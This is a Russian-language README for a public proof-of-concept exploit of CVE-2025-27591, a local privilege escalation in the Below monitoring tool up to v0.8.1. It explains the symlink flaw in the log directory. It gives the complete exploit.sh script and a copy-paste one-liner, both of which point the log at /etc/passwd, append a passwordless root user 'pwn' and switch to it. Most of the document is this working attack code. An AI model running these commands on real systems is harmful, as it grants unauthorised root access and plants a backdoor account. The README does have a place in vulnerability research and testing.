Below - локальное повышение привилегий (CVE-2025-27591)

Below <= v0.8.1
Локальное повышение привилегий через общедоступную символьную ссылку на лог
PoC-эксплойт

Введение

Версии Below <= 0.8.1 содержат критическую уязвимость локального повышения привилегий (CVE-2025-27591).
Из-за неправильно настроенной общедоступной директории логов (/var/log/below/) и небезопасной логики разрешений в кодовой базе Rust, локальный злоумышленник может создать симлинк error_<user>.log на любой файл, принадлежащий root, например /etc/passwd.

При выполнении below snapshot с sudo он принудительно устанавливает режим 0666 на файл лога и записывает в него — даже если это симлинк.
Это позволяет внедрить пользователя с привилегиями root без пароля, что приводит к полному доступу к оболочке root.

Использование

git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh

ИЛИ

Код эксплойта

# Title  : Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage  : usage: ./exploit.sh


u=$(id -un)
rm -f /var/log/below/error_"$u".log
ln -s /etc/passwd /var/log/below/error_"$u".log # symlink log file to /etc/passwd
export LOGS_DIRECTORY=/var/log/below
sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below chmods 0666 the symlink target and writes to it
echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # append pwn (root-priv) user entry  to /etc/passwd (now writable)
su pwn

Примечание: Добавил exploit.sh в README.md после того, как IppSec в своём прохождении использовал однострочную команду вместо exploit.sh. Подумал, что так будет удобнее для всех. Спасибо IppSec. ^^

ИЛИ

Однострочная команда - (Копируй, вставляй и выполняй)

u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn

Окружение

• Below <= v0.8.1
• Linux под управлением systemd (Ubuntu, Arch, Fedora и т.д.)
• Пользователь в группе sudo с доступом NOPASSWD к /usr/bin/below *

Благодарности

Обнаружено и сообщено Matthias Gerstner @ SUSE - Уведомление безопасности
PoC-эксплойт - Ravindu Wickramasinhge AKA rvz